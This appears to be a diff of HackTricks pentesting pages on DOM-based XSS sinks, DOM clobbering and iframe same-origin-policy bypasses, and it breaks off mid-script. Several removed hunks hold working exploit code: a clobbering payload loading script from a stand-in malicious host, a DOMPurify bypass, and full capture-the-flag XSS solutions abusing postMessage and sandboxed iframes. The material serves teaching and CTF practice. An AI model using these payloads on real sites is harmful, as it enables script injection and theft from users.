> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||
|
||||
Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
|
||||
|
||||
```javascript
|
||||
document.write("<img name=cookie />")
|
||||
|
||||
document.cookie
|
||||
<img name="cookie">
|
||||
|
||||
typeof(document.cookie)
|
||||
'object'
|
||||
|
||||
//Something more sanitize friendly than a img tag
|
||||
document.write("<form name=cookie><input id=toString></form>")
|
||||
|
||||
document.cookie
|
||||
HTMLCollection(2) [img, form, cookie: img]
|
||||
|
||||
typeof(document.cookie)
|
||||
'object
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
|
@ -1,23 +1,18 @@
|
|||
|
||||
# DOM XSS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# **DOM vulnerabilities**
|
||||
## **DOM vulnerabilities**
|
||||
|
||||
> **Sources**
|
||||
>
|
||||
|
|
@ -90,23 +85,23 @@ The **`innerHTML`** sink doesn't accept `script` elements on any modern browser,
|
|||
|
||||
This kind of XSS is probably the **hardest to find**, as you need to look inside the JS code, see if it's **using** any object whose **value you control**, and in that case, see if there is **any way to abuse** it to execute arbitrary JS.
|
||||
|
||||
# Tools to find them
|
||||
## Tools to find them
|
||||
|
||||
* [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
|
||||
|
||||
# Examples
|
||||
## Examples
|
||||
|
||||
## Open Redirect
|
||||
### Open Redirect
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
DOM-based open-redirection vulnerabilities arise when a script writes **attacker-controllable data** into a **sink** that can trigger **cross-domain navigation**.
|
||||
|
||||
Remember that **if you can start the URL** were the victim is going to be **redirected**, you could execute **arbitrary code** like: **`javascript:alert(1)`**
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
location
|
||||
|
|
@ -126,30 +121,30 @@ jQuery.ajax()
|
|||
$.ajax()
|
||||
```
|
||||
|
||||
## Cookie manipulation
|
||||
### Cookie manipulation
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
DOM-based cookie-manipulation vulnerabilities arise when a script writes **attacker-controllable data into the value of a cookie**.\
|
||||
This could be abuse to make the page behaves on unexpected manner (if the cookie is used in the web) or to perform a [session fixation](../hacking-with-cookies/#session-fixation) attack (if the cookie is used to track the user's session).
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
document.cookie
|
||||
```
|
||||
|
||||
## JavaScript Injection
|
||||
### JavaScript Injection
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
DOM-based JavaScript-injection vulnerabilities arise when a script executes **attacker-controllable data as JavaScript**.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
eval()
|
||||
|
|
@ -164,44 +159,44 @@ range.createContextualFragment()
|
|||
crypto.generateCRMFRequest()
|
||||
```
|
||||
|
||||
## Document-domain manipulation
|
||||
### Document-domain manipulation
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
Document-domain manipulation vulnerabilities arise when a script uses **attacker-controllable data to set** the **`document.domain`** property.
|
||||
|
||||
The `document.domain` property is used by browsers in their **enforcement** of the **same origin policy**. If **two pages** from **different** origins explicitly set the **same `document.domain`** value, then those two pages can **interact in unrestricted ways**.\
|
||||
Browsers **generally enforce some restrictions** on the values that can be assigned to `document.domain`, and may prevent the use of completely different values than the actual origin of the page. **But this doesn't occur always** and they usually **allow to use child** or **parent** domains.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
document.domain
|
||||
```
|
||||
|
||||
## WebSocket-URL poisoning
|
||||
### WebSocket-URL poisoning
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
WebSocket-URL poisoning occurs when a script uses **controllable data as the target URL** of a WebSocket connection.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
The `WebSocket` constructor can lead to WebSocket-URL poisoning vulnerabilities.
|
||||
|
||||
## Link manipulation
|
||||
### Link manipulation
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
DOM-based link-manipulation vulnerabilities arise when a script writes **attacker-controllable data to a navigation target** within the current page, such as a clickable link or the submission URL of a form.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
someDOMElement.href
|
||||
|
|
@ -209,15 +204,15 @@ someDOMElement.src
|
|||
someDOMElement.action
|
||||
```
|
||||
|
||||
## Ajax request manipulation
|
||||
### Ajax request manipulation
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
Ajax request manipulation vulnerabilities arise when a script writes **attacker-controllable data into the an Ajax request** that is issued using an `XmlHttpRequest` object.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
XMLHttpRequest.setRequestHeader()
|
||||
|
|
@ -227,15 +222,15 @@ jQuery.globalEval()
|
|||
$.globalEval()
|
||||
```
|
||||
|
||||
## Local file-path manipulation
|
||||
### Local file-path manipulation
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
Local file-path manipulation vulnerabilities arise when a script passes **attacker-controllable data to a file-handling API** as the `filename` parameter. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will cause the **user's browser to open/write an arbitrary local file**.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
FileReader.readAsArrayBuffer()
|
||||
|
|
@ -247,60 +242,60 @@ FileReader.root.getFile()
|
|||
FileReader.root.getFile()
|
||||
```
|
||||
|
||||
## Client-Side SQl injection
|
||||
### Client-Side SQl injection
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
Client-side SQL-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a client-side SQL query in an unsafe way**.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
executeSql()
|
||||
```
|
||||
|
||||
## HTML5-storage manipulation
|
||||
### HTML5-storage manipulation
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
HTML5-storage manipulation vulnerabilities arise when a script **stores attacker-controllable data in the HTML5 storage** of the web browser (either `localStorage` or `sessionStorage`).\
|
||||
This **behavior does not in itself constitute a security vulnerability**. However, if the application later **reads data back from storage and processes it in an unsafe way**, an attacker may be able to leverage the storage mechanism to deliver other DOM-based attacks, such as cross-site scripting and JavaScript injection.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
sessionStorage.setItem()
|
||||
localStorage.setItem()
|
||||
```
|
||||
|
||||
## XPath injection
|
||||
### XPath injection
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
DOM-based XPath-injection vulnerabilities arise when a script incorporates **attacker-controllable data into an XPath query**.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
document.evaluate()
|
||||
someDOMElement.evaluate()
|
||||
```
|
||||
|
||||
## Client-side JSON injection
|
||||
### Client-side JSON injection
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
DOM-based JSON-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
JSON.parse()
|
||||
|
|
@ -308,28 +303,28 @@ jQuery.parseJSON()
|
|||
$.parseJSON()
|
||||
```
|
||||
|
||||
## Web-message manipulation
|
||||
### Web-message manipulation
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
Web-message vulnerabilities arise when a script sends **attacker-controllable data as a web message to another document** within the browser.\
|
||||
**Example** of vulnerable Web-message manipulation in [https://portswigger.net/web-security/dom-based/controlling-the-web-message-source](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
The `postMessage()` method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
|
||||
|
||||
## DOM-data manipulation
|
||||
### DOM-data manipulation
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
DOM-data manipulation vulnerabilities arise when a script writes **attacker-controllable data to a field within the DOM** that is used within the visible UI or client-side logic. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will modify the appearance or behaviour of the client-side UI.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
scriptElement.src
|
||||
|
|
@ -356,89 +351,33 @@ history.pushState()
|
|||
history.replaceState()
|
||||
```
|
||||
|
||||
## Denial of Service
|
||||
### Denial of Service
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
|
||||
|
||||
### How
|
||||
#### How
|
||||
|
||||
DOM-based denial-of-service vulnerabilities arise when a script passes **attacker-controllable data in an unsafe way to a problematic platform API**, such as an API whose invocation can cause the user's computer to consume **excessive amounts of CPU or disk space**. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in `localStorage` or killing busy scripts.
|
||||
|
||||
### Sinks
|
||||
#### Sinks
|
||||
|
||||
```
|
||||
requestFileSystem()
|
||||
RegExp()
|
||||
```
|
||||
|
||||
# **DOM Clobbering**
|
||||
## Dom Clobbering
|
||||
|
||||
A common pattern used by JavaScript developers is:
|
||||
|
||||
`var someObject = window.someObject || {};`
|
||||
|
||||
If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.onload = function(){
|
||||
let someObject = window.someObject || {};
|
||||
let script = document.createElement('script');
|
||||
script.src = someObject.url;
|
||||
document.body.appendChild(script);
|
||||
};
|
||||
</script>
|
||||
```
|
||||
|
||||
To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:
|
||||
|
||||
**`<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>`**
|
||||
|
||||
Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js`
|
||||
|
||||
**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">` will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
|
||||
|
||||
Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an `input` inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.
|
||||
|
||||
## Clobbering document object
|
||||
|
||||
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
|
||||
|
||||
> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
|
||||
>
|
||||
> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||
|
||||
Using this technique you can overwrite commonly used values such as `document.cookie`, `document.body`, `document.children`, and even methods in the Document interface like `document.querySelector`.
|
||||
|
||||
```javascript
|
||||
document.write("<img name=cookie />")
|
||||
|
||||
document.cookie
|
||||
<img name="cookie">
|
||||
|
||||
typeof(document.cookie)
|
||||
'object'
|
||||
```
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -1,7 +1,5 @@
|
|||
# Iframes in XSS, CSP and SOP
|
||||
|
||||
## Iframes in XSS, CSP and SOP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
|
@ -144,180 +142,25 @@ The value of the `sandbox` attribute can either be empty (then all restrictions
|
|||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
|
||||
## Iframes in SOP-1
|
||||
## Iframes in SOP
|
||||
|
||||
In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
|
||||
Check the following pages:
|
||||
|
||||
```javascript
|
||||
const identifier = '4a600cd2d4f9aa1cfb5aa786';
|
||||
onmessage = e => {
|
||||
const data = e.data;
|
||||
if (e.origin !== window.origin && data.identifier !== identifier) return;
|
||||
if (data.type === 'render') {
|
||||
renderContainer.innerHTML = data.body;
|
||||
}
|
||||
}
|
||||
```
|
||||
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
|
||||
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
|
||||
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
|
||||
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Let's see the solution they propose.
|
||||
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
|
||||
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### SOP bypass 1 (.origin === null)
|
||||
|
||||
When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
|
||||
|
||||
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
|
||||
|
||||
### SOP bypass 2
|
||||
|
||||
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.
|
||||
|
||||
### Challenge Solution
|
||||
|
||||
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
|
||||
|
||||
That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
|
||||
|
||||
```html
|
||||
<body>
|
||||
<script>
|
||||
f = document.createElement('iframe');
|
||||
|
||||
// Needed flags
|
||||
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
|
||||
|
||||
// Second communication with /iframe.php (this is the top page relocated)
|
||||
// This will execute the alert in the correct origin
|
||||
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
|
||||
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
|
||||
},1000);`.replaceAll('\n',' ');
|
||||
|
||||
// Initial communication
|
||||
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
|
||||
// Then, bypass window.origin === e.origin to steal the identifier and communicate
|
||||
// with the top with the second XSS payload
|
||||
f.srcdoc = `
|
||||
<h1>Click me!</h1>
|
||||
<script>
|
||||
onclick = e => {
|
||||
let w = open('https://so-xss.terjanq.me/iframe.php');
|
||||
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
|
||||
setTimeout(_ => {
|
||||
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
|
||||
}, 1000);
|
||||
};
|
||||
<\/script>
|
||||
`
|
||||
document.body.appendChild(f);
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
|
||||
## Iframes in SOP-2
|
||||
|
||||
In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) proposes a similar method to the previous section. Let's check it.
|
||||
|
||||
In this challenge the attacker needs to **bypass** this:
|
||||
|
||||
```javascript
|
||||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||||
```
|
||||
|
||||
If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
|
||||
|
||||
The way to bypass the **first check** is by making `window.calc.contentWindow` to `undefined` and `e.source` to `null`:
|
||||
|
||||
* **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`** (note that Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- is not configured to protect against DOM clobbering attacks in its default state).
|
||||
* Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
|
||||
* Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, **`null == undefined`** is **`True`**). Getting this is "easy". If you create an **iframe** and **send** a **postMessage** from it and immediately **remove** the iframe, **`e.origin`** is going to be **`null`**. Check the following code
|
||||
|
||||
```javascript
|
||||
let iframe = document.createElement('iframe');
|
||||
document.body.appendChild(iframe);
|
||||
window.target = window.open("http://localhost:8080/");
|
||||
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
|
||||
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
|
||||
document.body.removeChild(iframe); //e.origin === null
|
||||
```
|
||||
|
||||
In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:
|
||||
|
||||
* Sending `token` in the postMessage with value `null` is trivial.
|
||||
* **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value.
|
||||
|
||||
The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
||||
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
// Abuse "expr" param to cause a HTML injection and
|
||||
// clobber document.getElementById and make window.calc.contentWindow undefined
|
||||
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
|
||||
|
||||
function start(){
|
||||
var ifr = document.createElement('iframe');
|
||||
// Create a sandboxed iframe, as sandboxed iframes will have origin null
|
||||
// this null origin will document.cookie trigger an error and window.token will be undefined
|
||||
ifr.sandbox = 'allow-scripts allow-popups';
|
||||
ifr.srcdoc = `<script>(${hack})()<\/script>`
|
||||
|
||||
document.body.appendChild(ifr);
|
||||
|
||||
function hack(){
|
||||
var win = open('https://obligatory-calc.ctf.sekai.team');
|
||||
setTimeout(()=>{
|
||||
